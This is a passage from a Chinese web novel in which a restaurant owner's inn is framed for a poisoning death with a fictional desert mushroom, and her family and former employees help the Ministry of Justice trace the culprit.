韩泽顿了顿,终是停在几张桌子之外。“查得如何?可有结果?” 褚景尧笑道:“本官还未问话,姚东家已经替本官问了七七八八。姚东家观察细微,倒是另人刮目相看。” 韩泽看向他身后,姚轻雪对他微微点了下头。 褚景尧吩咐手下:“将饕餮楼所有食材封存检查,饕餮楼所有人均不可离开酒楼,等衙门审问完后,没有问题的人才可回家。” 衙役们都动起来,分成两组,一组检查食客们没有吃完的食材,蘑菇是重点检查对象。另一组则是把饕餮楼从厨子到伙计挨个审问。 姚轻雪身份特殊,韩泽又在那杵着,跟个杀神似的,衙役有些为难。褚景尧便亲自问话:“姚东家可有什么仇家?” 姚轻雪想了想然后摇头,“我不曾与人结怨。”不过话不能说的太满,便又道:“或许在我不知道的情况下得罪了什么人也说不定。” 褚景尧沉默片刻后问道:“姚东家可知今日外面对你的传言?” “传言?”姚轻雪一头雾水,“什么传言?” 韩泽说道:“今早开始京城都在传饕餮楼东家嫌弃亲生爹娘,派人杀了他们。” 姚轻雪怔住,看了一眼地上的尸体,而后苦笑:“我自己都不知道我姚轻雪竟是杀人如麻的恶棍,一日内连杀三人,可笑至极。” 第119章 第119章闹事 “雪儿!”韩泽眼中透着心疼,“我怀疑有人故意针对饕餮楼,你且安心,我一定会查个水落石出。” “韩大人!”褚景尧看着他,“你大理寺要暗中调查,本官管不着,但你不能阻碍刑部办案。” “褚大人放心,规矩我懂。”韩泽沉着脸,“若是没什么话要问,我带内子走。” 褚景尧转过身:“对饕餮楼的调查还没有完,本官希望姚东家不要走远。” 这是同意她走了,姚轻雪颔首致谢走向韩泽。 顾春桃见她要走嚷嚷起来:“她走了我怎么办?” 褚景尧:“你自然是去衙门。” 顾春桃:“为什么她能走,我就要去衙门?大人你不能因为她家里人有权有势就徇私枉法啊。” “放肆!”衙役呵斥她,“休要胡言乱语污蔑大人。” 顾春桃梗着脖子:“难道我说的不对?凭什么她的酒楼吃死人不用负责,却要为难我这个苦主。” “因为你的问题没有交代清楚。”褚景尧冷着脸看她,“**为何舍得花二十两银子来饕餮楼吃饭?你们发财了?还是有人给他银子?” “没、没有。”顾春桃眼神躲闪,“哪有人给银子。我男人说他苦了大半辈子却没吃过一口好的,就想来饕餮楼吃一顿。哪知道饕餮楼是黄泉路啊。” 褚景尧:“你若不说实话,本官只能将你带回衙门。” “民妇不敢撒谎句句实属。”顾春桃磕头,“民妇家中还有孩子,他爹没了,如今只剩下我这个娘。我若不回家孩子没人照看,还望大人开恩,放我回家。” “在本官面前装可怜没有用。将顾氏带回衙门,派人去她家里把孩子也接过来。” 顾春桃无法,只好跟着衙役走。在楼外看见姚轻雪她赶紧把头低下。 “你说的没错,我也觉得有人故意针对饕餮楼。”姚轻雪看着顾春桃的背影道。一件命案是巧合,一天内两起命案都跟她扯上关系就不能再说是巧合了。 酒楼内吃死人,若是这个罪名做实,饕餮楼再无翻身之地,只得关门,这怕就是背后之人想要的。 韩泽:“背后之人先借张四之死坏你名声,紧接着便让饕餮楼背上命案,何其歹毒。”即便事后查清**的死跟饕餮楼没有关系,饕餮楼必定会受到影响。 姚轻雪:“我个人没得罪过什么人,怕是冲饕餮楼来的。” 饕餮楼自开业以来生意就十分红火,尤其是有了辣椒之后,即便不是饭点也有客人过来吃饭。现如今京城所有酒楼的生意都比不过饕餮楼。可以说饕餮楼一家独大,势必会引起同行的不满。 但是,有谁不怕得罪将军府呢?韩泽将京城酒楼背后的靠山在脑子里过了一遍,仍想不出谁有这个胆子。 这时,门内有衙役出来对韩泽拱了拱手后对姚轻雪道:“姚东家,后厨搜出了与**盘中一模一样的蘑菇,褚大人请您回去问话。” 既然是有人故意栽赃陷害就不会草草了事,后厨搜出毒蘑菇姚轻雪意外也不意外,她默了片刻道:“好。” 而后对韩泽道:“做你的事去吧,在这也帮不上忙,有褚大人呢。” “好吧。”韩泽很无奈,他要回避有力使不上。事情越来越复杂,他不能坐以待毙,看着有人把莫须有的罪名扣在雪儿头上。 韩泽走后姚轻雪重新走回楼内,装红菇的布口袋就放在地上。上面散落着几朵颜色稍深的干蘑菇。 徐成急得头上都要冒汗了,“东家,这绝对不是饕餮楼的蘑菇,我也不知它为何会出现在这里?”后厨一直都是他在管,出了这么大的纰漏,他难辞其咎。 “徐管事莫急,当务之急是配合衙门查案,您去把后厨人员名单拿过来交给褚大人过目。” 徐成满面愁容地去拿名单。姚轻雪对褚景尧道:“后厨管理严格,客人进不了后厨,伙计们无事也不得进后厨,这是我定下来的规矩。若是有人故意将毒蘑菇放去后厨,想必是自己人。” 褚景尧笑道:“姚东家倒是直白。” 姚轻雪苦笑:“出了这等事,遮掩只会延误查案,对饕餮楼没有好处,我希望褚大人能早日把案子查清楚。” 徐成把名单拿过来,常出入后厨的人都被扣押带回衙门进一步审问,没资格进后厨的人反而躲过一劫。 饕餮楼暂时无法营业,鲁冬去了桃儿街。刚走到大门就听见里面传来婴儿的哭声。小乞丐们外出乞讨时又捡了个孩子回来,还是个女孩,看大小不超过三岁。这院里都是男娃,女孩子小点还好,大点就不方便和一群小子养在一起。鲁老爹不知怎么安排,只能暂时养着。 “小秋怎么哭了?”鲁冬进门就看见哭得鼻涕直流的小娃娃,“是不是饿了?我买了烧鸡。”女孩因是秋天那会儿捡的,便起名小秋。 一听说有烧鸡,几个孩子都看过来。鲁冬把纸包打开,先是撕了块胸脯肉给小秋,然后再给每个孩子一块。他给鲁老爹留了鸡腿和鸡脖子。 小秋抓到肉果然不哭了。鲁老爹笑道:“ 也是个能吃的。“这么点午饭吃了一碗粟米粥半个馒头,这会就饿得哇哇哭。 鲁冬摸摸小姑娘头上的揪揪,“长身体呢。” “你怎么这个时辰回来了?饕餮楼不忙?”鲁老爹问。 “爷爷,饕餮楼出事了,死人了。” 鲁老爹吓了一跳,赶紧问怎么回事?听完鲁冬讲述后,老头眉头紧皱,“你说那人满脸水泡?死得极快?” “嗯。”鲁冬点头,“发现时乔掌柜就让人去找郎中,郎中就住在街角,一个来回不超过一刻钟,那人就不行了。衙门把饕餮楼封了,后厨的人也都带走了,我听说是在那个人桌上和后厨都搜出了毒蘑菇。” “爷爷。”鲁冬叹气,“饕餮楼若是倒了,我和大弟二弟就没地方去了。” 他们在饕餮楼打杂,看着不怎样但每月都不少赚,比在别处做工的大人赚得都多。所以他才有闲钱偶尔买些好吃带过来。万一姚东家这次挺不过去,该怎么办?不会再有像饕餮楼这么好的地方给他们了。 “不怕。”鲁老爹安慰道,“饕餮楼轻易倒不了。” “我还听说姚东拒认亲生爹娘,她爹娘今早死在家里,有人说是姚东家害的。” “胡说。”鲁老爹板着脸,“她能对你们这些乞丐好,怎会不认亲爹娘?你从哪里听到这话?” 还不等鲁冬答,早上去街上乞讨的孩子道:“大街上都在传,我也听到了。” “那你不早说。”鲁老爹虎着脸。 小乞儿嘿嘿笑,“我不信那个漂亮姐姐会做那种事,没放在心上然后回来就给忘了。” 鲁老头瞪他一眼,又问鲁冬:“会不会是山民采蘑菇时混进去了有毒的蘑菇?若是这样死人也是意外,赔些银子给死者家人便过去了。” “好像不是。”鲁冬摇头,“衙门里的大官问话时我听了两耳多。乔掌柜说那不是饕餮楼的蘑菇,姚东家说是有人栽赃陷害。爷爷!姚东家身后有将军府和韩大人,可是他们都敢在饕餮楼害人,也不知道姚东家能不能度过这次难关。” “放心吧,吉人自有天相,你们东家心善老天会帮她。”鲁老爹道。 与此同时,去顾春桃家搜查的人回到刑部。 “大人!并未从苏家搜出有用的东西,不过灶房柴堆下被人翻动过,是否藏了东西不得而知。另外,顾氏的儿子并未在家中,邻居说没听见动静,不知道孩子去了哪里?” 孩子丢了?褚景尧眯了眯眼,“去问问顾氏孩子是否被亲戚接走?” 一盏茶后衙役回来禀告,“顾氏非常害怕,说孩子就放在家里,没有亲戚能托付。大人!要不要先放顾氏回家找孩子?” 褚景尧:“派人跟着,务必要保证顾氏的安全。” …… 姚轻雪回到家已是亥时。衙门只在后厨放红菇的袋子里找到不一样的蘑菇。而且仵作已经证实**就是吃了那个蘑菇中毒而亡。若是查不到毒蘑菇的来处,饕餮楼难辞其咎。食材有剧毒,今后谁还敢来吃饭。 姚轻雪喂完了儿子,躺在床上翻来覆去睡不踏实。一会儿梦见饕餮楼吃死了人,一会儿又梦见饕餮楼倒闭,她枷锁上身,一整晚都在半梦半醒中度过。 天刚亮她就彻底醒过来,一摸身侧没人。韩泽一宿没回。 姚轻雪头昏沉沉的,早饭只吃了两口粥。她刚放下筷子,春佟脚步匆匆地从外面走进来。见姚轻雪脸色不好,她欲言又止。 “何事?” 春佟咬了咬唇:“少夫人,看守饕餮楼的人说有人去饕餮楼门前闹事。” 姚轻雪揉了揉疼痛的额角,没完没了了:“备车,去饕餮楼。” 半个时辰后,姚轻雪下车便看见饕餮楼门前满地狼藉。匾额也被什么东西砸得歪了一角。 见她下车,吵闹的人群涌过来。韩家护卫手举刀剑挡着人群。 有人喊道:“姚轻雪!你的酒楼吃死了人,你得给大家一个说法。” “说法?”姚轻雪眉头拧紧,看向问她话的人。“你是何人?为何跟我要说法?**跟你是什么关系?” 矮小的男人道:“跟我没关系,我就是见不得你们这些有钱有势的人欺压百姓。今后我们哪里还敢来饕餮楼吃饭?” “呵!”姚轻雪冷笑,拿眼睛上下扫他,“看你的样子也吃不起饕餮楼,何谈敢不敢?你当我饕餮楼什么人都能进吗?” “你、”男人面红耳赤,“太嚣张了,你就不怕王法吗?” “只有作恶的人才会怕。”姚轻雪厉声道,“饕餮楼开门做生意,从来都是本本分分不犯律法。你们是受何人鼓动来这闹事?” “我们就是见不得你这种人欺负人家孤儿寡母。大家都知道吧,顾春桃身为苦主被关在大牢,姚轻雪这个罪魁祸首却安然无恙,大家说还有没有天理?” 有人大喊:“饕餮楼官商勾结吃死人,得给我们个说法。” 姚轻雪正要说话,就听身后传来急促的马蹄声,众人往那边看。只见以一人为首的一对人骑马疾驰而来。 围堵姚轻雪的人见那些人都快到眼前了也不勒马,纷纷向两侧避让。姚轻雪一瞧是韩将军。 在离人群不过三尺的地方,韩振勒住缰绳:“是谁说饕餮楼官商勾结?” 第120章 第120章撑腰 韩振骑在马上,居高临下面沉似水,强大的气场震慑众人,军人独有的肃杀之气更是让人不敢直视。 吵闹的人群立时安静下来,这些人有胆欺负姚轻雪一个弱质女流,却不敢与上过战场杀人无数的将军叫嚣。 “怎么没人说话了?”韩振冷眼扫视人群,“姚轻雪是将军府的人不假,但她光明正大做生意,从来没有借韩家之名做任何见不得人的勾当,何来官商勾结?我镇远将军府岂容尔等污蔑?事情尚未查明,尔等就在这里闹事,是欺韩家无人吗?还是把王法当儿戏?” 刚还群情激愤的人群此时鸦雀无声。韩振心中不屑,愚昧无知受他人挑唆几句便热血上头。什么正义、什么公道,刀架在脖子上谁都怕,人都是欺软怕硬。老虎不发威这是把他韩振当病猫了,他还活着就有人敢这么欺负他的家人。 “怎么都不说话了?” 姚轻雪暗自松了口气,公爹对她这个儿媳从来都是和和气气,嫁进韩家这么久从未见过他如今日这般可怖。为了给她撑腰蛰居的将军发威了,姚轻雪心中感激又感到抱歉。 “你、你是镇远大将军,也不能仗势欺人纵容儿媳谋财害命。她连亲生爹娘都能害,就不是好人。”还真有不怕死的,韩振瞥了一眼矮瘦的男人。 而那男人说完便躲在一个高个背后,生怕韩振看见他的脸。 姚轻雪看过去,就是这人引导着人群攻击她。她不经意看了一眼曹叔,后者对他点点头表示明白。 “方才你说我连亲生爹娘都害?”姚轻雪面容平静地看向矮瘦男人,“你从哪里听到这种不实传言?他们是不是我爹娘衙门都还没断,你竟知道?” 男人不敢露头,但还是嘴硬道:“全京城都在说,你不想认爹娘,在滴血验亲前把人弄死,难道还有假?你可是当着很多人的面说亲生爹娘也不认,只认养大你的爷爷奶奶。” 姚轻雪没想到张杨氏第一日来饕餮楼时,她说的话竟成了把柄。 秋月握紧拳头,少夫人的危机来势汹汹,短短两日不到关于少夫人杀害亲生父母的谣言已经传遍大街小巷,定是有人暗中推波助澜。这可怎么办才好? “放屁!你从哪儿听的屁话。”韩振军武出身,发起脾气可不管说出的话糙不糙,“这是有人故意把屎盆子往我家儿媳身上扣。莫说将军府养得起两个闲人,饕餮楼这么大的产业养百十八个也绰绰有余,但那得是亲生的。有人要给你们当爹当娘你们乐意?” 姚轻雪:“敢问大家,我谋杀爹娘一事从何 得知?” 大家面面相觑,有人道:“就听别人说的呗。”反正是听说了,大家都这么说,要追根刨底从哪儿听到的,谁都说不清楚。 姚轻雪也没想从他们身上找出谣言出处。“我可以跟大家保证,那些传言绝对不是真的,那张四夫妻当年是丢过孩子,但那孩子是男孩,不可能是我。大家若是有心可以去张四住处打听打听。” “男孩?” “竟有这事?若是这样还真怪不得她。” “不是亲生的也不能说给害了就害了吧?” “张四夫妻的死跟我没有半点关系,案子已交刑部彻查,你们信不过我总该相信朝廷相信衙门。若是饕餮楼的疏忽致人死亡,我会给**和大家一个交代。但,在案件没有查明之前,我不会为莫须有的罪名担负任何罪责,请各位不要被别有用心之人利用。饕餮楼就在这里跑不了,我也跑不了,大家想要公道又何必急于一时。等事情水落石出,衙门自然会给大家公道。” 人们有些茫然,随后有人似乎反应过来,小心翼翼地说:“其实不关我们什么事,就是气不过就跟来了。” 姚轻雪瞥见那个矮瘦得男人挤出人群大步离开,韩家护卫悄悄跟了过去。 “别人说什么你们就信什么。”韩振冷哼,“都散了吧,案子衙门还没查完,你们激动个什么劲儿。有爹娘的回家孝敬老人,有儿女的都对孩子好点,旁人的事干你们什么事,吃饱了撑的。” 众人都觉得臊得慌,低着头散开。 姚轻雪长舒一口气,走到韩振马前躬身:“父亲,儿媳不孝,让父亲费心了。” “一家人不说两家话,这事来的突然,若说背后没人煽动我不信,刑部在查润青也没闲着,你别着急。先回家,不要在外面待太久,这里就交给护卫看守,若是再有人来闹事,直接送去衙门。” 回到家已经是两个时辰后,芽芽韩娇和韩莺都在东院。这两天姚轻雪出门顾不得孩子,韩曜喝的都是米汤。看见母亲回来孩子撇撇嘴,想哭又不哭的样子,可怜极了。 姚轻雪心疼,赶紧喂他吃奶。 “姐,你没事吧?”芽芽满脸担忧。 “没事,爷爷奶奶怎么样了?” 芽芽小眉头拧成一个疙瘩,“奶奶不大好,郎中给开了药,外面的谣言都不敢跟她说,爷爷很担心你。姐,爷爷奶奶说有人故意针对你,谁这么坏?你又没招他。” 芽芽心思单纯,觉得自己不主动惹事,便会平安无事,她哪里知道人心险恶。 “大概是饕餮楼生意红火惹人眼红了。芽芽你要记住,不管跟谁相处都要有几分防备,人心是看不透的。不是我们把人想得太坏,谨慎才能保护好自己。”姚轻雪趁机教育妹妹。 “嗯。”芽芽闷闷地点头。 韩娇小声道:“大嫂,你别着急,等大哥找到害你的人一定不会放过他,饕餮楼也会好起来。” “大嫂没事。”姚轻雪笑了笑。 “还说没事,瞧瞧你的脸都什么色儿了?”韩莺道,“找个郎中回来看看吧。” 姚轻雪:“用不着,昨晚没睡好,睡一觉就好了。” 三人陪姚轻雪说了会话,等韩曜睡着,韩莺把两个小的带走,让大嫂补觉。 晚饭前韩泽终于回来了,他双眼通红,看样子是一晚上没睡。晚膳在正院用的,韩家人都在。只是大家心思都不在饭上,坐在桌前半天没人动筷子。 韩祖母见不到儿孙这副样子,训道:“该吃饭就好好吃饭,兵来将挡水来土掩,咱们韩家人怕过什么事?不就是几盆脏水吗?等找到幕后之人加倍偿还就是。” “母亲教训的是。”韩母道,“都吃饭,天大的事也得把饭吃好。” 众人这才端起碗筷。 韩振问儿子查到了什么?韩泽摇摇头,背后之人十分小心,在张四夫妻回家前就在水壶里下了药,暂时查不到那两个人受何人指使。 韩父道:“杀人栽赃其实招数并不高明,但众口铄金。”众口一词、积非成是,真到了不可收拾的地步饕餮楼怕是开不下去了。 韩浩:“下直时我瞧见杜蒙杜大人去见陛下了,不知和咱家有没有关系。”杜蒙担任御史中丞,有纠察百僚之权。姚轻雪虽不是官,但她是官家内眷,与韩家有脱不开的关系。 本来案子不大,但若陛下插手,那就不是小事了。韩母问:“谁会用这么恶毒的法子?是想害雪儿?还是针对韩家?”将军府向来乐善好施,天灾人祸都要拿钱救助百姓,她不想相信那些人都是白眼狼。 周芸姝:“会不会有人眼红饕餮楼的生意?想用这个法子把饕餮楼搞垮?”辣椒已借朝廷的手传出去,不在是饕餮楼的特色。只要饕餮楼倒了,酒楼里的那些菜品秘方定然也保不住。日进斗金的生意,有几个不眼馋? 韩泽道:“我想不出有谁针对韩家,这两桩事都是冲雪儿来的,但雪儿没有仇家,针对饕餮楼的可能性最大。” 父亲虽没有实权但有爵位在身,陛下对他也敬重几分。他是大理寺少卿,韩浩在皇宫陛下身边做事。谁这么大的胆子敢对韩家下手? “整日抓鹰却被鹰啄了眼。”韩泽自嘲。 姚轻雪第一次生出无力感,她原本以为本分做事无愧于心就好,可有人却不想她好。说到底是财帛动人心。 “对不住,我给家里惹麻烦了。” 韩祖母拍拍孙媳妇的手:“不怕,事情没你想的那么糟,没做过的事还能硬按在你头上不成?陛下不糊涂。” 韩父:“也不见得就是冲你,润青在大理寺这些年也得罪了不少人,有人报复也不是没有可能。” “对啊。”韩母也出言安慰,“事情还没查出来呢,雪儿你先别埋怨自己,有错也是别人的错,跟你没有关系。” 韩泽握紧媳妇的手,“大家一起是商量对策,不是问你的罪。” 家人的信任和理解对姚轻雪来说是莫大的安慰,若这个时候婆家人各种怨怪,她真不知该如何是好了。 众人正说着话,门房来说桃儿街的鲁老头来找大少夫人。 “鲁爷爷?他怎么来了?”姚轻雪纳闷,“请他去东院。” 韩泽与姚轻雪回到东院,鲁老爹已经等在房中。见二人回了他忙起身行礼。“老朽见过韩大人,韩少夫人!” “鲁爷爷您不用客气,快坐。”姚轻雪道:“这么晚您来找我,可是桃儿园出了什么事?” “不是。”鲁老头摇头,“我听鲁冬说了饕餮楼的事,不过他也不知道细节,我便过来问问。” 老头没说别的,姚轻雪与韩泽对视一眼,直觉他不是过来问问这么简单。姚轻雪便把**中毒的经过以及死亡的症状都说了。 老头捋着胡子道:“小老儿乞讨半生,走的地方不少,**的死状,老朽有幸见过。”【你现在阅读的是 】 120-130 第121章 第121章转机 鲁老爹带来了意外惊喜。韩泽知道刑部到现在都没查出毒菇的来源。若是一直查不到,就只能派人去红菇的产地,查两种蘑菇是否有混在一起的可能。 如此一来时间会很久。事情发生才不过两日,京城就满是谣言,若是长时间破不了案,背后之人还会大做文章,对雪儿和饕餮楼都非常不利。 韩泽拱手:“老爷子,麻烦您详细讲来。” “十几年前我去过大漠,在一个叫虎跳谷的地方碰见有人误食毒蘑菇,那人的死法和**几乎一模一样。当地人管那种红色毒菇叫阎王催,那是夜里会发出幽光的 奇特蘑菇。人吃进肚里最多不会超过两刻钟便会毒发身亡,死得快且无药可解。而且老朽听说只有大漠的虎跳谷才有那种蘑菇,移到别处都活不了,也非常稀少。就是不知**吃的是不是阎王催。” 姚轻雪心下一喜:“若是阎王催,它不可能与红菇生在一处,也就不可能是无意中混进去的。” “是不是阎王催还有待查证。”韩泽起身对鲁老头拱手,“多谢老爷子提供重要信息,只是还需要麻烦您随我去一趟刑部。” 鲁老头起身还礼,“韩大人客气了,我今日来便是为此,谈不上麻烦。” “鲁爷爷太感谢您了。”姚轻雪眼圈微红,没想到这个时候帮她的竟然是鲁老爹。 “要说谢,我该谢你,多亏你给鲁冬他们几个一碗饭吃。几个孩子没什么本领在别处只会被欺负。”鲁老爹道,“不说这些了,我随韩大人去刑部,早日洗脱嫌疑,饕餮楼也好早日开门。” 送走两人,姚轻雪终于感到一丝轻松,虽还未见曙光,但总算是往好的方向发展了。 把儿子哄睡后姚轻雪躺在床上等韩泽,不久前院派人来找姚轻雪过去,韩父韩母都在。 韩父:“早上派去跟踪的人回来了,那小个子确有问题,有人拿银子让他带人去饕餮楼门前闹事,除了他还有几个地皮无赖,不过他们全都没见过幕后主使的脸。” 背后之人非常小心,与人见面披斗篷带面罩。交代那几个宵小把事情闹大,越大越好,只是没想到韩将军会突然过去救场。 “人已经送去刑部,虽没查出背后之人,但起码能证明此事有人背后指使。” “想来也没那么容易找到背后之人,不过若是能洗清饕餮楼的嫌疑也是好的。”姚轻雪把鲁老爹带来的消息也说了出来。 韩母高兴道:“这么看来饕餮楼洗脱嫌疑不是问题,很快就能开门了。” “现在高兴还为时尚早。”韩父深知问题的严重,“抓不到犯人,酒楼很多人都有嫌疑,如何能开门迎客?” “也不知刑部那边查得如何?”韩母笑容淡了下去,“耽搁一日得少赚不少银子。” 韩父:“少赚些银子没什么,就怕讹传讹饕餮楼给人留下不好的印象。” 关于姚轻雪和饕餮楼的不实传言已人尽皆知,谣言易起,澄清却很难。如此必定会影响食客进店,饕餮楼再想回到昔日门庭若市的辉煌怕是难了。 姚轻雪自然清楚,饕餮楼重振旗鼓是后面的事,眼前**的案子才是重点。 韩父:“叫你过来是想让你知道事情有转机,你不要太着急。人生在世不称意的事常有,麻烦既然找上门解决便是,担忧与害怕毫无用处。” “谢父亲母亲挂怀!儿媳撑得住。” 韩母:“回去陪曜儿吧,润青一时半会儿回不来,你早些歇息。” “儿媳告退。”姚轻雪刚要走,韩府管家进来说:“饕餮楼的徐管事求见。” “这么晚了来做什么?”韩母纳闷,“让他进来吧。” 徐成来定是有事,姚轻雪重新坐了回去。估摸有一盏茶的时间徐成才进来。他身后跟着一人,那人一瘸一拐,短短几步路走得非常吃力。 这人姚轻雪认得,叫什么不记得。此人腿脚天生残疾,不过手臂发达有力。当初他来饕餮楼应招,旁人都不同意用他。是姚轻雪决定把人留下,让他负责切菜剁肉。 徐成领人先给韩将军和韩夫人行礼,然后对姚轻雪道:“东家!吴四有话对您说。” 原来是叫吴四,姚轻雪这才记起名字。“吴四,这么晚来找我有什么事?” “东、东家!”吴四面容黑红。因为身体有残疾,他平常很少与人接触,今日见到镇远大将军和将军夫人,他手都不知该往哪放了。 姚轻雪看出他的紧张,语气柔和道:“父亲母亲都是和善之人,你不要紧张,有什么话尽管说。” “哎!”吴四松开攥衣服的手,“前日我发现钱婶子有些不对劲,总把没洗的菜放进洗过的盆里。我问她是不是有事,她躲躲闪闪说没事。钱婶子平日大大咧咧,有话就说很少藏着掖着。” 姚轻雪看徐管事。后厨人很多,大多数她都不记得,徐成负责管理后厨,谁是谁他比自己更清楚。 徐成忙道:“钱婶子在后厨负责洗菜烧火,前晚上钱婶子烧火时把手烫伤了,我见她的手沾不得水,就让她回家歇两天。” “所以昨日刑部问话时钱婶子不在?”姚轻雪眼睛一亮。 “是。”徐成道,“不过钱婆子的事我跟刑部的官差说过了。” “昨日那么乱,要查的人又那么多,官差一时疏忽也说不定。”姚轻雪又问吴四,“对钱婶子你还知道什么?” 吴四挠挠头,“我、我和大家不怎么说话,了解的也不多。有一次我看见钱婶子的儿子过来跟她要钱,我听了两句,应是她儿子赌钱输了。赌坊追他还钱,他这才来楼里找钱婶子。” 韩母问:“你的意思是姓钱的婆子把毒蘑菇带进后厨?” “我、我不敢瞎说,就是心里犯嘀咕。”吴四把头压得低低的,不敢抬头看韩夫人,“东家对我有恩,我就把知道的说出来,希望能帮到东家。” 他腿脚不好,很少有地方要他做工,即便有工钱也会减半。别人能拿九百文钱,到他这只有三四百文,勉强能填饱肚子。 就是这样都嫌他晦气,去年他几个月没找到活做,再赚不到钱他就得去街上乞讨。听人说饕餮楼要人,走投无路之下他便去碰运气,是姚轻雪不顾旁人反对留下他。 不但工钱和其他人一样,每个月还有奖励,饕餮楼还管他吃,连饭钱都省了,一年不到他就攒下不少银子。 东家对他就如再生父母,无论是什么人要害东家,他吴四若是知情就一定不会隐瞒。 韩父:“好赌之人没几个能戒的,那钱婆子怕是有问题。”怎么就这么巧,她前日烫伤,次日饕餮楼就死了人。 姚轻雪对吴四道:“你做的很好,事情我知道了,天晚了回家歇着吧,等饕餮楼重新开业我会派人通知你。” “哎!”吴四高兴地应道。转身跟随徐成一瘸一拐地走出厅堂。 韩将军让管家准备马车送他们回去。 “行善不图报,福报自然来。”韩母感慨,“雪儿,你帮了很多人,你有难处他们也想帮你。”比如鲁老头,比如吴四。 姚轻雪笑了笑,“我并没想那么多,当初留下他并非因为他可怜,而是觉得他虽腿脚不好但并不耽搁用手做事,他并不是无用之人。” “说到底还是你积下的善缘。”韩父道。 “父亲母亲,夜长梦多我这就去刑部,让褚大人尽快将钱婆子带回去问话。” “这么晚了怪冷的,你就别折腾了,派人去就是。”韩母不赞同。 韩父看样子也不大同意,在他开口前,姚轻雪忙道:“我去接润青,这两天他为了我的事劳心劳力累得不轻,我想亲自接他回来。” 韩父与韩母对视一眼,没再阻拦。韩父:“多叫几个护卫跟着。” 姚轻雪回东院换了厚衣服,便往刑部赶。 刑部,鲁老爹看过从饕餮楼搜出的毒菇后确定就是阎王催。韩泽让韩家马车把鲁老爹送回桃儿街,他在刑部等马车回来接他。 “单凭他一人无法证明阎王催只生在大漠虎跳谷。”褚景尧为难,“从饕餮楼带回来的人都审过了,没发现谁有问题,暂且让他们都回家了。” 在抓不到犯人的情况下,证明毒菇与红菇不可能生长在同一地方,是排除饕餮楼嫌疑的最好办法。 韩泽自然也明白这个道理,“明日我去问问西北来的胡商,或许有人知道阎王催。” “你别去,要去也是我去。”褚景尧看向韩泽,” 大费周章弄死三个人,大漠奇毒都用上了,我怎么觉得这不像是冲令夫人去的呢。” 韩泽没吭声,他也曾有过这样的怀疑。只是倒在他手里的官员太多,他该怀疑哪个? “大人!”手下来报,“韩少夫人来了!” “呦,回去晚些就亲自来接。”褚景尧戏谑道,“韩大人与少夫人感情深厚啊。” 韩泽紧绷的脸有所缓和。他刚起身就听进门的姚轻雪道:“褚大人!我有重要线索。” 第122章 第122章钱氏 韩泽迎出几步,见妻子面颊微红还有些喘,便扶她坐下:“别着急,慢慢说。” 褚景尧提起水壶,给她倒了杯温水:“喝点水润润喉。” 姚轻雪一口喝掉褚景尧推过来的水,从大门到这她走得很急。咽下水后忙道:“饕餮楼有个洗菜婆子……” 待她说完,褚景尧拿出从饕餮楼带回来的名单,在不起眼的位置找到了钱槐花的名字。“是本官疏忽了。” “现在就去拿人。”褚景尧当即带人去钱婆子住处。 韩泽想等消息,姚轻雪不想独自回家,两个人便在刑部衙门等。夜已深衙门也没几个人当差,空旷的厅堂有些寒意。 姚轻雪紧了紧披风,韩泽见状把人搂进怀里抱紧。 “呀!”姚轻雪一惊,探头四处看了看,见除了他俩没有旁人在,这才放心地趴在韩泽怀里。她仰头,用手摸男人下巴上的胡茬。“昨晚没睡吧?眼睛这么红。” “睡了。”不过没睡多久。“派人过来便可,何必亲自跑一趟。”韩泽边说边搓她后背,活活血便不冷了。 “想你了。”姚轻雪搂着他的腰,小声嘟囔。 韩泽心中熨帖,把人搂得更紧,下巴抵在她头上。“曜儿可是睡了?” 提起儿子,姚轻雪嘴角忍不住上扬,“睡了我才敢出来。”最近把韩曜扔在家里的次数多了些,把孩子饿得哇哇叫,所以粘她粘得厉害。 “小东西从来不找他爹。”韩泽吃味。 姚轻雪拿手指戳他肚子:“你若有奶给他吃,他也粘你,见不到你就会哭。” 韩泽笑出来,他什么都能做,唯独这个干不了。 褚景尧回来时,看见夫妻俩在他的地盘搂搂抱抱。他顶风冒寒去抓人,这俩人倒好,褚大人顿感心酸。“人带回来了,时辰不早了韩大人请回吧。” “多谢!”韩泽拱手,“韩某欠你一个人情,他日有用得着的地方,韩某定当尽全力。” 褚景尧受宠若惊,韩泽头一次对他说软和话,但他也不能厚脸皮居功。“韩大人客气,分内之事。” 姚轻雪看看他们两个,“不审吗?”她想知道结果,不然回去也睡不好。 “夫人倒是个急性子。”褚景尧笑道,“审,褚某连夜审,只不过地牢有碍观瞻,不便少夫人观刑。” 观刑?“要用刑吗?” 褚景尧淡淡道:“顽固不化之徒自然要用刑。” 姚轻雪想了一下道:“褚大人,让我试试吧。在饕餮楼做事的人跟我都有一份缘,我不想看她一把年纪受刑罚之苦。” “受刑是她咎由自取。”韩泽不赞同她这么做,“回去吧,曜儿还在家等着你。” 不能怪他狠,雪儿从未亏待过饕餮楼任何一个人,宁愿少赚也要拿出部分所得给大家奖励。钱婆子即便做洗菜烧火的杂活,每月最少能拿一两银子。**一个大男人一个月才赚九百文,钱婆子不知感恩也就罢了,竟还要害雪儿,这种人不值得同情。 “润青,她犯罪自有律法制裁,我作为东家想给她最后体面,至于她是否领情那便是她的事了。况且现在回家我也放不下,不如让我见见她。” 姚轻雪看向褚景尧,“大人,我去劝人违反规定吗?” 褚景尧看韩泽,见他没再反对。“姚东家若不嫌地牢脏,那便随本官走一趟吧。”若能不费吹灰之力让钱婆子交代罪行,倒省了他的事。 刑部的地牢昏暗潮冷,越往深处越阴森。还有囚犯趴到牢门处往他们身上看。姚轻雪淡定地走在韩泽身侧。 褚景尧:“想必少夫人头次进牢房,可害怕?” 沉默片刻,姚轻雪道,“倒也不是头一次,大理寺地牢有幸逛过两回。” 哦?褚景尧看韩泽,这厮竟然把媳妇带去大理寺牢房?转念一想不对,关押囚犯之地有什么好看的,韩泽不会那么闲。 突然想到当初姚轻雪和火器案有关,或许是因为那件事她进过牢房。这不是什么光彩的事,褚景尧没再多问。 狱卒提着灯笼在前头引路,“大人,这边请。”随后便拐进一条岔路。 先前墙上还有微弱油灯照亮,而这条路前方一点光亮都没有。而且越往里走血腥味越浓。 姚轻雪感到疑惑,钱婆子刚带回来,怎么放这么里的地方?于是便问身侧的男人。 韩泽牵着她的手小心地走着,低声道:“吓唬,不用刑能交代最好不过。”谁喜欢动不动就用刑?他们抓人是为了查案,又不是变态喜欢折磨人。所以每次人带回来,先吓唬一番,实在嘴硬的那就没办法了。 很快几人来到地牢深处,狱卒高举灯笼,姚轻雪看见钱婆子抱着头缩在角落。隔壁牢房传来囚犯痛苦的呻吟,钱氏听到后身体抖如筛糠,显然吓得不轻,外面来人都没注意到。 